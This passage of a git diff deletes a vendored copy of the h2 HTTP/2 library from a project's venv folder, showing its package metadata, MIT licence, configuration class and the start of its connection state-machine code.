`python-hyper `_. diff --git a/venv/Lib/site-packages/h2-4.4.1.dist-info/RECORD b/venv/Lib/site-packages/h2-4.4.1.dist-info/RECORD deleted file mode 100644 index 10d19a5fe009d6d0b63fa7e2bdbf343914d366d5..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/h2-4.4.1.dist-info/RECORD +++ /dev/null @@ -1,31 +0,0 @@ -h2-4.4.1.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4 -h2-4.4.1.dist-info/METADATA,sha256=sX9o9hJ5RsO3SOpXKKmxclie3iuc6_o1PdXwUmMJbH8,3765 -h2-4.4.1.dist-info/RECORD,, -h2-4.4.1.dist-info/WHEEL,sha256=K260EYznzXsJYBQGqmI8VTxEdiZYNvDZwW9cBh9-_MA,91 -h2-4.4.1.dist-info/licenses/LICENSE,sha256=emWlrwy6vxwWJRx8ayt8tG0WpyIueZdbm2H81mouPyg,1102 -h2-4.4.1.dist-info/top_level.txt,sha256=Hiulx8KxI2jFUM1dG7-CZeRkO3j50MBwCLG36Vrq-kI,3 -h2/__init__.py,sha256=G6qsAjwtpNJUUa0pDqCQlRnKnu75K53BPPxh8zglK64,109 -h2/__pycache__/__init__.cpython-314.pyc,, -h2/__pycache__/_typing.cpython-314.pyc,, -h2/__pycache__/config.cpython-314.pyc,, -h2/__pycache__/connection.cpython-314.pyc,, -h2/__pycache__/errors.cpython-314.pyc,, -h2/__pycache__/events.cpython-314.pyc,, -h2/__pycache__/exceptions.cpython-314.pyc,, -h2/__pycache__/frame_buffer.cpython-314.pyc,, -h2/__pycache__/settings.cpython-314.pyc,, -h2/__pycache__/stream.cpython-314.pyc,, -h2/__pycache__/utilities.cpython-314.pyc,, -h2/__pycache__/windows.cpython-314.pyc,, -h2/_typing.py,sha256=qCxPOYwLLj1v6xkMz_gvGrAoFcSZxMvNZgpiBkiikvI,362 -h2/config.py,sha256=Z-wr5rFizcB2-WTVWCuGte8y-8ceb5B2-rlcV0L5tuU,8344 -h2/connection.py,sha256=goPhStCHXs3V2U-9TEER48CNKY74Cuaz_yI8HOGqjgk,87316 -h2/errors.py,sha256=S-TdYaJfP_hwlFj2uQGJGQ4S4_yWiU_9E44aPxdACbE,1581 -h2/events.py,sha256=rjYZPS_6xvjMnAak7VHbYHyTql8gbjFDJ5UklcXfm7E,22283 -h2/exceptions.py,sha256=3Em3mLMQBHxYpOKoaPdKCGFGn8A9re9ABtUdKlY3bZM,5308 -h2/frame_buffer.py,sha256=N_6_dx44kpBl98Jw9VXNzOs4ahJT6U3KSBc2vOCPa0c,7237 -h2/py.typed,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -h2/settings.py,sha256=81ajqJD37BbspsFPU8sgg0M9ueqnPrK_QkBEqOwLo1Y,13477 -h2/stream.py,sha256=pSvtIbxx149_AExE3scEUIRNnHgbbk2fAjbDczBlA0o,59574 -h2/utilities.py,sha256=YlCgguR5UyFNt_unyjJZ9K_N9Ti7OpgAQEu_aXXc8T0,27572 -h2/windows.py,sha256=JpWNhDv-x4J5jIXSWp0INHkq9IIgPP27xr9FXYvazFE,5492 diff --git a/venv/Lib/site-packages/h2-4.4.1.dist-info/WHEEL b/venv/Lib/site-packages/h2-4.4.1.dist-info/WHEEL deleted file mode 100644 index 1d472b6c22838de58d1c3c0dd2c795a5cde9e415..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/h2-4.4.1.dist-info/WHEEL +++ /dev/null @@ -1,5 +0,0 @@ -Wheel-Version: 1.0 -Generator: setuptools (83.0.0) -Root-Is-Purelib: true -Tag: py3-none-any - diff --git a/venv/Lib/site-packages/h2-4.4.1.dist-info/licenses/LICENSE b/venv/Lib/site-packages/h2-4.4.1.dist-info/licenses/LICENSE deleted file mode 100644 index db41662749ab7222cefbb4cfe1167be750597a06..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/h2-4.4.1.dist-info/licenses/LICENSE +++ /dev/null @@ -1,21 +0,0 @@ -The MIT License (MIT) - -Copyright (c) 2015-2020 Cory Benfield and contributors - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in -all copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -THE SOFTWARE. diff --git a/venv/Lib/site-packages/h2-4.4.1.dist-info/top_level.txt b/venv/Lib/site-packages/h2-4.4.1.dist-info/top_level.txt deleted file mode 100644 index c48b5634fe43460805dc0ca67824bbb970dd4b04..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/h2-4.4.1.dist-info/top_level.txt +++ /dev/null @@ -1 +0,0 @@ -h2 diff --git a/venv/Lib/site-packages/h2/__init__.py b/venv/Lib/site-packages/h2/__init__.py deleted file mode 100644 index c2c66659aceff5717a71a85f54a143ef13593542..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/h2/__init__.py +++ /dev/null @@ -1,6 +0,0 @@ -""" -HTTP/2 protocol implementation for Python. -""" -from __future__ import annotations - -__version__ = "4.4.1" diff --git a/venv/Lib/site-packages/h2/_typing.py b/venv/Lib/site-packages/h2/_typing.py deleted file mode 100644 index 64592fd7375438624c54dbf333e54a3630bca5f6..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/h2/_typing.py +++ /dev/null @@ -1,21 +0,0 @@ -""" -h2/_typing -~~~~~~~~~~ - -Shared typing helpers. -""" -from __future__ import annotations - -from typing import Protocol - - -class Buffer(Protocol): - """ - An object implementing the PEP 688 buffer protocol. - """ - - def __buffer__(self, flags: int, /) -> memoryview: - """ - Return a memoryview over this object's bytes. - """ - ... diff --git a/venv/Lib/site-packages/h2/config.py b/venv/Lib/site-packages/h2/config.py deleted file mode 100644 index cbc3b1eaadfb9c86213d588cf97588c7e5092775..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/h2/config.py +++ /dev/null @@ -1,212 +0,0 @@ -""" -h2/config -~~~~~~~~~ - -Objects for controlling the configuration of the HTTP/2 stack. -""" -from __future__ import annotations - -import sys -from typing import Any - - -class _BooleanConfigOption: - """ - Descriptor for handling a boolean config option. This will block - attempts to set boolean config options to non-bools. - """ - - def __init__(self, name: str) -> None: - self.name = name - self.attr_name = f"_{self.name}" - - def __get__(self, instance: Any, owner: Any) -> bool: - return getattr(instance, self.attr_name) # type: ignore - - def __set__(self, instance: Any, value: bool) -> None: - if not isinstance(value, bool): - msg = f"{self.name} must be a bool" - raise ValueError(msg) # noqa: TRY004 - setattr(instance, self.attr_name, value) - - -class DummyLogger: - """ - A Logger object that does not actual logging, hence a DummyLogger. - - For the class the log operation is merely a no-op. The intent is to avoid - conditionals being sprinkled throughout the h2 code for calls to - logging functions when no logger is passed into the corresponding object. - """ - - def __init__(self, *vargs) -> None: # type: ignore - pass - - def debug(self, *vargs, **kwargs) -> None: # type: ignore - """ - No-op logging. Only level needed for now. - """ - - def trace(self, *vargs, **kwargs) -> None: # type: ignore - """ - No-op logging. Only level needed for now. - """ - - -class OutputLogger: - """ - A Logger object that prints to stderr or any other file-like object. - - This class is provided for convenience and not part of the stable API. - - :param file: A file-like object passed to the print function. - Defaults to ``sys.stderr``. - :param trace: Enables trace-level output. Defaults to ``False``. - """ - - def __init__(self, file=None, trace_level=False) -> None: # type: ignore - super().__init__() - self.file = file or sys.stderr - self.trace_level = trace_level - - def debug(self, fmtstr, *args) -> None: # type: ignore - print(f"h2 (debug): {fmtstr % args}", file=self.file) - - def trace(self, fmtstr, *args) -> None: # type: ignore - if self.trace_level: - print(f"h2 (trace): {fmtstr % args}", file=self.file) - - -class H2Configuration: - """ - An object that controls the way a single HTTP/2 connection behaves. - - This object allows the users to customize behaviour. In particular, it - allows users to enable or disable optional features, or to otherwise handle - various unusual behaviours. - - This object has very little behaviour of its own: it mostly just ensures - that configuration is self-consistent. - - :param client_side: Whether this object is to be used on the client side of - a connection, or on the server side. Affects the logic used by the - state machine, the default settings values, the allowable stream IDs, - and several other properties. Defaults to ``True``. - :type client_side: ``bool`` - - :param header_encoding: Controls whether the headers emitted by this object - in events are transparently decoded to ``unicode`` strings, and what - encoding is used to do that decoding. This defaults to ``None``, - meaning that headers will be returned as bytes. To automatically - decode headers (that is, to return them as unicode strings), this can - be set to the string name of any encoding, e.g. ``'utf-8'``. - - .. versionchanged:: 3.0.0 - Changed default value from ``'utf-8'`` to ``None`` - - :type header_encoding: ``str``, ``False``, or ``None`` - - :param validate_outbound_headers: Controls whether the headers emitted - by this object are validated against the rules in RFC 7540. - Disabling this setting will cause outbound header validation to - be skipped, and allow the object to emit headers that may be illegal - according to RFC 7540. Defaults to ``True``. - :type validate_outbound_headers: ``bool`` - - :param normalize_outbound_headers: Controls whether the headers emitted - by this object are normalized before sending. Disabling this setting - will cause outbound header normalization to be skipped, and allow - the object to emit headers that may be illegal according to - RFC 7540. Defaults to ``True``. - :type normalize_outbound_headers: ``bool`` - - :param split_outbound_cookies: Controls whether the outbound cookie - headers are split before sending or not. According to RFC 7540 - - 8.1.2.5 the outbound header cookie headers may be split to improve - headers compression. Default is ``False``. - :type split_outbound_cookies: ``bool`` - - :param validate_inbound_headers: Controls whether the headers received - by this object are validated against the rules in RFC 7540. - Disabling this setting will cause inbound header validation to - be skipped, and allow the object to receive headers that may be illegal - according to RFC 7540. Defaults to ``True``. - :type validate_inbound_headers: ``bool`` - - :param normalize_inbound_headers: Controls whether the headers received by - this object are normalized according to the rules of RFC 7540. - Disabling this setting may lead to h2 emitting header blocks that - some RFCs forbid, e.g. with multiple cookie fields. - - .. versionadded:: 3.0.0 - - :type normalize_inbound_headers: ``bool`` - - :param logger: A logger that conforms to the requirements for this module, - those being no I/O and no context switches, which is needed in order - to run in asynchronous operation. - - .. versionadded:: 2.6.0 - - :type logger: ``logging.Logger`` - """ - - client_side = _BooleanConfigOption("client_side") - validate_outbound_headers = _BooleanConfigOption( - "validate_outbound_headers", - ) - normalize_outbound_headers = _BooleanConfigOption( - "normalize_outbound_headers", - ) - split_outbound_cookies = _BooleanConfigOption( - "split_outbound_cookies", - ) - validate_inbound_headers = _BooleanConfigOption( - "validate_inbound_headers", - ) - normalize_inbound_headers = _BooleanConfigOption( - "normalize_inbound_headers", - ) - - def __init__(self, - client_side: bool = True, - header_encoding: bool | str | None = None, - validate_outbound_headers: bool = True, - normalize_outbound_headers: bool = True, - split_outbound_cookies: bool = False, - validate_inbound_headers: bool = True, - normalize_inbound_headers: bool = True, - logger: DummyLogger | OutputLogger | None = None) -> None: - self.client_side = client_side - self.header_encoding = header_encoding - self.validate_outbound_headers = validate_outbound_headers - self.normalize_outbound_headers = normalize_outbound_headers - self.split_outbound_cookies = split_outbound_cookies - self.validate_inbound_headers = validate_inbound_headers - self.normalize_inbound_headers = normalize_inbound_headers - self.logger = logger or DummyLogger(__name__) - - @property - def header_encoding(self) -> bool | str | None: - """ - Controls whether the headers emitted by this object in events are - transparently decoded to ``unicode`` strings, and what encoding is used - to do that decoding. This defaults to ``None``, meaning that headers - will be returned as bytes. To automatically decode headers (that is, to - return them as unicode strings), this can be set to the string name of - any encoding, e.g. ``'utf-8'``. - """ - return self._header_encoding - - @header_encoding.setter - def header_encoding(self, value: bool | str | None) -> None: - """ - Enforces constraints on the value of header encoding. - """ - if not isinstance(value, (bool, str, type(None))): - msg = "header_encoding must be bool, string, or None" - raise ValueError(msg) # noqa: TRY004 - if value is True: - msg = "header_encoding cannot be True" - raise ValueError(msg) - self._header_encoding = value diff --git a/venv/Lib/site-packages/h2/connection.py b/venv/Lib/site-packages/h2/connection.py deleted file mode 100644 index e5059a21c4ec7302f47134b2be18d968c3676937..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/h2/connection.py +++ /dev/null @@ -1,2117 +0,0 @@ -""" -h2/connection -~~~~~~~~~~~~~ - -An implementation of a HTTP/2 connection. -""" -from __future__ import annotations - -import base64 -from enum import Enum, IntEnum -from typing import TYPE_CHECKING, Any - -from hpack.exceptions import HPACKError, OversizedHeaderListError -from hpack.hpack import Decoder, Encoder -from hyperframe.exceptions import InvalidPaddingError -from hyperframe.frame import ( - AltSvcFrame, - ContinuationFrame, - DataFrame, - ExtensionFrame, - Frame, - GoAwayFrame, - HeadersFrame, - PingFrame, - PriorityFrame, - PushPromiseFrame, - RstStreamFrame, - SettingsFrame, - WindowUpdateFrame, -) - -from .config import H2Configuration -from .errors import ErrorCodes, _error_code_from_int -from .events import ( - AlternativeServiceAvailable, - ConnectionTerminated, - Event, - InformationalResponseReceived, - PingAckReceived, - PingReceived, - PriorityUpdated, - RemoteSettingsChanged, - RequestReceived, - ResponseReceived, - SettingsAcknowledged, - TrailersReceived, - UnknownFrameReceived, - WindowUpdated, -) -from .exceptions import ( - DenialOfServiceError, - FlowControlError, - FrameTooLargeError, - NoAvailableStreamIDError, - NoSuchStreamError, - ProtocolError, - RFC1122Error, - StreamClosedError, - StreamIDTooLowError, - TooManyStreamsError, -) -from .frame_buffer import FrameBuffer -from .settings import ChangedSetting, SettingCodes, Settings -from .stream import H2Stream, StreamClosedBy -from .utilities import SizeLimitDict, guard_increment_window -from .windows import WindowManager - -if TYPE_CHECKING: # pragma: no cover - from collections.abc import Callable, Iterable - - from hpack.struct import Header, HeaderWeaklyTyped - - from ._typing import Buffer - - -class ConnectionState(Enum): - IDLE = 0 - CLIENT_OPEN = 1 - SERVER_OPEN = 2 - CLOSED = 3 - - -class ConnectionInputs(Enum): - SEND_HEADERS = 0 - SEND_PUSH_PROMISE = 1 - SEND_DATA = 2 - SEND_GOAWAY = 3 - SEND_WINDOW_UPDATE = 4 - SEND_PING = 5 - SEND_SETTINGS = 6 - SEND_RST_STREAM = 7 - SEND_PRIORITY = 8 - RECV_HEADERS = 9 - RECV_PUSH_PROMISE = 10 - RECV_DATA = 11 - RECV_GOAWAY = 12 - RECV_WINDOW_UPDATE = 13 - RECV_PING = 14 - RECV_SETTINGS = 15 - RECV_RST_STREAM = 16 - RECV_PRIORITY = 17 - SEND_ALTERNATIVE_SERVICE = 18 # Added in 2.3.0 - RECV_ALTERNATIVE_SERVICE = 19 # Added in 2.3.0 - - -class AllowedStreamIDs(IntEnum): - EVEN = 0 - ODD = 1 - - -class H2ConnectionStateMachine: - """ - A single HTTP/2 connection state machine. - - This state machine, while defined in its own class, is logically part of - the H2Connection class also defined in this file. The state machine itself - maintains very little state directly, instead focusing entirely on managing - state transitions. - """ - - # For the purposes of this state machine we treat HEADERS and their - # associated CONTINUATION frames as a single jumbo frame. The protocol - # allows/requires this by preventing other frames from being interleved in - # between HEADERS/CONTINUATION frames. - # - # The _transitions dictionary contains a mapping of tuples of - # (state, input) to tuples of (side_effect_function, end_state). This map - # contains all allowed transitions: anything not in this map is invalid - # and immediately causes a transition to ``closed``. - - _transitions = { - # State: idle - (ConnectionState.IDLE, ConnectionInputs.SEND_HEADERS): - (None, ConnectionState.CLIENT_OPEN), - (ConnectionState.IDLE, ConnectionInputs.RECV_HEADERS): - (None, ConnectionState.SERVER_OPEN), - (ConnectionState.IDLE, ConnectionInputs.SEND_SETTINGS): - (None, ConnectionState.IDLE), - (ConnectionState.IDLE, ConnectionInputs.RECV_SETTINGS): - (None, ConnectionState.IDLE), - (ConnectionState.IDLE, ConnectionInputs.SEND_WINDOW_UPDATE): - (None, ConnectionState.IDLE), - (ConnectionState.IDLE, ConnectionInputs.RECV_WINDOW_UPDATE): - (None, ConnectionState.IDLE), - (ConnectionState.IDLE, ConnectionInputs.SEND_PING): - (None, ConnectionState.IDLE), - (ConnectionState.IDLE, ConnectionInputs.RECV_PING): - (None, ConnectionState.IDLE), - (ConnectionState.IDLE, ConnectionInputs.SEND_GOAWAY): - (None, ConnectionState.CLOSED), - (ConnectionState.IDLE, ConnectionInputs.RECV_GOAWAY): - (None, ConnectionState.CLOSED), - (ConnectionState.IDLE, ConnectionInputs.SEND_PRIORITY): - (None, ConnectionState.IDLE), - (ConnectionState.IDLE, ConnectionInputs.RECV_PRIORITY): - (None, ConnectionState.IDLE), - (ConnectionState.IDLE, ConnectionInputs.SEND_ALTERNATIVE_SERVICE): - (None, ConnectionState.SERVER_OPEN), - (ConnectionState.IDLE, ConnectionInputs.RECV_ALTERNATIVE_SERVICE): - (None, ConnectionState.CLIENT_OPEN), - - # State: open, client side. - (ConnectionState.CLIENT_OPEN, ConnectionInputs.SEND_HEADERS): - (None, ConnectionState.CLIENT_OPEN), - (ConnectionState.CLIENT_OPEN, ConnectionInputs.SEND_DATA): - (None, ConnectionState.CLIENT_OPEN), - (ConnectionState.CLIENT_OPEN, ConnectionInputs.SEND_GOAWAY): - (None, ConnectionState.CLOSED), - (ConnectionState.CLIENT_OPEN, ConnectionInputs.SEND_WINDOW_UPDATE): - (None, ConnectionState.CLIENT_OPEN), - (ConnectionState.CLIENT_OPEN, ConnectionInputs.SEND_PING): - (None, ConnectionState.CLIENT_OPEN), - (ConnectionState.CLIENT_OPEN, ConnectionInputs.SEND_SETTINGS): - (None, ConnectionState.CLIENT_OPEN), - (ConnectionState.CLIENT_OPEN, ConnectionInputs.SEND_PRIORITY): - (None, ConnectionState.CLIENT_OPEN), - (ConnectionState.CLIENT_OPEN, ConnectionInputs.RECV_HEADERS): - (None, ConnectionState.CLIENT_OPEN), - (ConnectionState.CLIENT_OPEN, ConnectionInputs.RECV_PUSH_PROMISE): - (None, ConnectionState.CLIENT_OPEN), - (ConnectionState.CLIENT_OPEN, ConnectionInputs.RECV_DATA): - (None, ConnectionState.CLIENT_OPEN), - (ConnectionState.CLIENT_OPEN, ConnectionInputs.RECV_GOAWAY): - (None, ConnectionState.CLOSED), - (ConnectionState.CLIENT_OPEN, ConnectionInputs.RECV_WINDOW_UPDATE): - (None, ConnectionState.CLIENT_OPEN), - (ConnectionState.CLIENT_OPEN, ConnectionInputs.RECV_PING): - (None, ConnectionState.CLIENT_OPEN), - (ConnectionState.CLIENT_OPEN, ConnectionInputs.RECV_SETTINGS): - (None, ConnectionState.CLIENT_OPEN), - (ConnectionState.CLIENT_OPEN, ConnectionInputs.SEND_RST_STREAM): - (None, ConnectionState.CLIENT_OPEN), - (ConnectionState.CLIENT_OPEN, ConnectionInputs.RECV_RST_STREAM): - (None, ConnectionState.CLIENT_OPEN), - (ConnectionState.CLIENT_OPEN, ConnectionInputs.RECV_PRIORITY): - (None, ConnectionState.CLIENT_OPEN), - (ConnectionState.CLIENT_OPEN, - ConnectionInputs.RECV_ALTERNATIVE_SERVICE): - (None, ConnectionState.CLIENT_OPEN), - - # State: open, server side. - (ConnectionState.SERVER_OPEN, ConnectionInputs.SEND_HEADERS): - (None, ConnectionState.SERVER_OPEN), - (ConnectionState.SERVER_OPEN, ConnectionInputs.SEND_PUSH_PROMISE): - (None, ConnectionState.SERVER_OPEN), - (ConnectionState.SERVER_OPEN, ConnectionInputs.SEND_DATA): - (None, ConnectionState.SERVER_OPEN), - (ConnectionState.SERVER_OPEN, ConnectionInputs.SEND_GOAWAY): - (None, ConnectionState.CLOSED), - (ConnectionState.SERVER_OPEN, ConnectionInputs.SEND_WINDOW_UPDATE): - (None, ConnectionState.SERVER_OPEN), - (ConnectionState.SERVER_OPEN, ConnectionInputs.SEND_PING): - (None, ConnectionState.SERVER_OPEN), - (ConnectionState.SERVER_OPEN, ConnectionInputs.SEND_SETTINGS): - (None, ConnectionState.SERVER_OPEN), - (ConnectionState.SERVER_OPEN, ConnectionInputs.SEND_PRIORITY): - (None, ConnectionState.SERVER_OPEN), - (ConnectionState.SERVER_OPEN, ConnectionInputs.RECV_HEADERS): - (None, ConnectionState.SERVER_OPEN), - (ConnectionState.SERVER_OPEN, ConnectionInputs.RECV_DATA): - (None, ConnectionState.SERVER_OPEN), - (ConnectionState.SERVER_OPEN, ConnectionInputs.RECV_GOAWAY): - (None, ConnectionState.CLOSED), - (ConnectionState.SERVER_OPEN, ConnectionInputs.RECV_WINDOW_UPDATE): - (None, ConnectionState.SERVER_OPEN), - (ConnectionState.SERVER_OPEN, ConnectionInputs.RECV_PING): - (None, ConnectionState.SERVER_OPEN), - (ConnectionState.SERVER_OPEN, ConnectionInputs.RECV_SETTINGS): - (None, ConnectionState.SERVER_OPEN), - (ConnectionState.SERVER_OPEN, ConnectionInputs.RECV_PRIORITY): - (None, ConnectionState.SERVER_OPEN), - (ConnectionState.SERVER_OPEN, ConnectionInputs.SEND_RST_STREAM): - (None, ConnectionState.SERVER_OPEN), - (ConnectionState.SERVER_OPEN, ConnectionInputs.RECV_RST_STREAM): - (None, ConnectionState.SERVER_OPEN), - (ConnectionState.SERVER_OPEN, - ConnectionInputs.SEND_ALTERNATIVE_SERVICE): - (None, ConnectionState.SERVER_OPEN), - (ConnectionState.SERVER_OPEN, - ConnectionInputs.RECV_ALTERNATIVE_SERVICE): - (None, ConnectionState.SERVER_OPEN), - - # State: closed - (ConnectionState.CLOSED, ConnectionInputs.SEND_GOAWAY): - (None, ConnectionState.CLOSED), - (ConnectionState.CLOSED, ConnectionInputs.RECV_GOAWAY): - (None, ConnectionState.CLOSED), - } - - def __init__(self) -> None: - self.state = ConnectionState.IDLE - - def process_input(self, input_: ConnectionInputs) -> list[Event]: - """ - Process a specific input in the state machine. - """ - if not isinstance(input_, ConnectionInputs): - msg = "Input must be an instance of ConnectionInputs" - raise ValueError(msg) # noqa: TRY004 - - try: - func, target_state = self._transitions[(self.state, input_)] - except KeyError as e: - old_state = self.state - self.state = ConnectionState.CLOSED - msg = f"Invalid input {input_} in state {old_state}" - raise ProtocolError(msg) from e - else: - self.state = target_state - if func is not None: # pragma: no cover - return func() - - return [] - - -class H2Connection: - """ - A low-level HTTP/2 connection object. This handles building and receiving - frames and maintains both connection and per-stream state for all streams - on this connection. - - This wraps a HTTP/2 Connection state machine implementation, ensuring that - frames can only be sent/received when the connection is in a valid state. - It also builds stream state machines on demand to ensure that the - constraints of those state machines are met as well. Attempts to create - frames that cannot be sent will raise a ``ProtocolError``. - - .. versionchanged:: 2.3.0 - Added the ``header_encoding`` keyword argument. - - .. versionchanged:: 2.5.0 - Added the ``config`` keyword argument. Deprecated the ``client_side`` - and ``header_encoding`` parameters. - - .. versionchanged:: 3.0.0 - Removed deprecated parameters and properties. - - :param config: The configuration for the HTTP/2 connection. - - .. versionadded:: 2.5.0 - - :type config: :class:`H2Configuration ` - """ - - # The initial maximum outbound frame size. This can be changed by receiving - # a settings frame. - DEFAULT_MAX_OUTBOUND_FRAME_SIZE = 65535 - - # The initial maximum inbound frame size. This is somewhat arbitrarily - # chosen. - DEFAULT_MAX_INBOUND_FRAME_SIZE = 2**24 - - # The highest acceptable stream ID. - HIGHEST_ALLOWED_STREAM_ID = 2**31 - 1 - - # The largest acceptable window increment. - MAX_WINDOW_INCREMENT = 2**31 - 1 - - # The initial default value of SETTINGS_MAX_HEADER_LIST_SIZE. - DEFAULT_MAX_HEADER_LIST_SIZE = 2**16 - - # Keep in memory limited amount of results for streams closes - MAX_CLOSED_STREAMS = 2**16 - - def __init__(self, config: H2Configuration | None = None) -> None: - self.state_machine = H2ConnectionStateMachine() - self.streams: dict[int, H2Stream] = {} - self.highest_inbound_stream_id = 0 - self.highest_outbound_stream_id = 0 - self.encoder = Encoder() - self.decoder = Decoder() - - # This won't always actually do anything: for versions of HPACK older - # than 2.3.0 it does nothing. However, we have to try! - self.decoder.max_header_list_size = self.DEFAULT_MAX_HEADER_LIST_SIZE - - #: The configuration for this HTTP/2 connection object. - #: - #: .. versionadded:: 2.5.0 - self.config = config or H2Configuration(client_side=True) - - # Objects that store settings, including defaults. - # - # We set the MAX_CONCURRENT_STREAMS value to 100 because its default is - # unbounded, and that's a dangerous default because it allows - # essentially unbounded resources to be allocated regardless of how - # they will be used. 100 should be suitable for the average - # application. This default obviously does not apply to the remote - # peer's settings: the remote peer controls them! - # - # We also set MAX_HEADER_LIST_SIZE to a reasonable value. This is to - # advertise our defence against CVE-2016-6581. However, not all - # versions of HPACK will let us do it. That's ok: we should at least - # suggest that we're not vulnerable. - self.local_settings = Settings( - client=self.config.client_side, - initial_values={ - SettingCodes.MAX_CONCURRENT_STREAMS: 100, - SettingCodes.MAX_HEADER_LIST_SIZE: - self.DEFAULT_MAX_HEADER_LIST_SIZE, - }, - ) - self.remote_settings = Settings(client=not self.config.client_side) - - # The current value of the connection flow control windows on the - # connection. - self.outbound_flow_control_window = ( - self.remote_settings.initial_window_size - ) - - #: The maximum size of a frame that can be emitted by this peer, in - #: bytes. - self.max_outbound_frame_size = self.remote_settings.max_frame_size - - #: The maximum size of a frame that can be received by this peer, in - #: bytes. - self.max_inbound_frame_size = self.local_settings.max_frame_size - - # Buffer for incoming data. - self.incoming_buffer = FrameBuffer(server=not self.config.client_side) - - # A private variable to store a sequence of received header frames - # until completion. - self._header_frames: list[Frame] = [] - - # Data that needs to be sent. - self._data_to_send = bytearray() - - # Keeps track of how streams are closed. - # Used to ensure that we don't blow up in the face of frames that were - # in flight when a RST_STREAM was sent. - # Also used to determine whether we should consider a frame received - # while a stream is closed as either a stream error or a connection - # error. - self._closed_streams: dict[int, StreamClosedBy | None] = SizeLimitDict( - size_limit=self.MAX_CLOSED_STREAMS, - ) - - # The flow control window manager for the connection. - self._inbound_flow_control_window_manager = WindowManager( - max_window_size=self.local_settings.initial_window_size, - ) - - # When in doubt use dict-dispatch. - self._frame_dispatch_table: dict[type[Frame], Callable] = { # type: ignore - HeadersFrame: self._receive_headers_frame, - PushPromiseFrame: self._receive_push_promise_frame, - SettingsFrame: self._receive_settings_frame, - DataFrame: self._receive_data_frame, - WindowUpdateFrame: self._receive_window_update_frame, - PingFrame: self._receive_ping_frame, - RstStreamFrame: self._receive_rst_stream_frame, - PriorityFrame: self._receive_priority_frame, - GoAwayFrame: self._receive_goaway_frame, - ContinuationFrame: self._receive_naked_continuation, - AltSvcFrame: self._receive_alt_svc_frame, - ExtensionFrame: self._receive_unknown_frame, - } - - def _prepare_for_sending(self, frames: list[Frame]) -> None: - if not frames: - return - self._data_to_send += b"".join(f.serialize() for f in frames) - assert all(f.body_len <= self.max_outbound_frame_size for f in frames) - - def _open_streams(self, remainder: int) -> int: - """ - A common method of counting number of open streams. Returns the number - of streams that are open *and* that have (stream ID % 2) == remainder. - While it iterates, also deletes any closed streams. - """ - count = 0 - to_delete = [] - - for stream_id, stream in self.streams.items(): - if stream.open and (stream_id % 2 == remainder): - count += 1 - elif stream.closed: - to_delete.append(stream_id) - - for stream_id in to_delete: - stream = self.streams.pop(stream_id) - self._closed_streams[stream_id] = stream.closed_by - - return count - - @property - def open_outbound_streams(self) -> int: - """ - The current number of open outbound streams. - """ - outbound_numbers = int(self.config.client_side) - return self._open_streams(outbound_numbers) - - @property - def open_inbound_streams(self) -> int: - """ - The current number of open inbound streams. - """ - inbound_numbers = int(not self.config.client_side) - return self._open_streams(inbound_numbers) - - @property - def inbound_flow_control_window(self) -> int: - """ - The size of the inbound flow control window for the connection. This is - rarely publicly useful: instead, use :meth:`remote_flow_control_window - `. This - shortcut is largely present to provide a shortcut to this data. - """ - return self._inbound_flow_control_window_manager.current_window_size - - def _begin_new_stream(self, stream_id: int, allowed_ids: AllowedStreamIDs) -> H2Stream: - """ - Initiate a new stream. - - .. versionchanged:: 2.0.0 - Removed this function from the public API. - - :param stream_id: The ID of the stream to open. - :param allowed_ids: What kind of stream ID is allowed. - """ - self.config.logger.debug( - "Attempting to initiate stream ID %d", stream_id, - ) - outbound = self._stream_id_is_outbound(stream_id) - highest_stream_id = ( - self.highest_outbound_stream_id if outbound else - self.highest_inbound_stream_id - ) - - if stream_id <= highest_stream_id: - raise StreamIDTooLowError(stream_id, highest_stream_id) - - if (stream_id % 2) != int(allowed_ids): - msg = "Invalid stream ID for peer." - raise ProtocolError(msg) - - s = H2Stream( - stream_id, - config=self.config, - inbound_window_size=self.local_settings.initial_window_size, - outbound_window_size=self.remote_settings.initial_window_size, - ) - self.config.logger.debug("Stream ID %d created", stream_id) - s.max_outbound_frame_size = self.max_outbound_frame_size - - self.streams[stream_id] = s - self.config.logger.debug("Current streams: %s", self.streams.keys()) - - if outbound: - self.highest_outbound_stream_id = stream_id - else: - self.highest_inbound_stream_id = stream_id - - return s - - def initiate_connection(self) -> None: - """ - Provides any data that needs to be sent at the start of the connection. - Must be called for both clients and servers. - """ - self.config.logger.debug("Initializing connection") - self.state_machine.process_input(ConnectionInputs.SEND_SETTINGS) - if self.config.client_side: - preamble = b"PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n" - else: - preamble = b"" - - f = SettingsFrame(0) - for setting, value in self.local_settings.items(): - f.settings[setting] = value - self.config.logger.debug( - "Send Settings frame: %s", self.local_settings, - ) - - self._data_to_send += preamble + f.serialize() - - def initiate_upgrade_connection(self, settings_header: bytes | None = None) -> bytes | None: - """ - Call to initialise the connection object for use with an upgraded - HTTP/2 connection (i.e. a connection negotiated using the - ``Upgrade: h2c`` HTTP header). - - This method differs from :meth:`initiate_connection - ` in several ways. - Firstly, it handles the additional SETTINGS 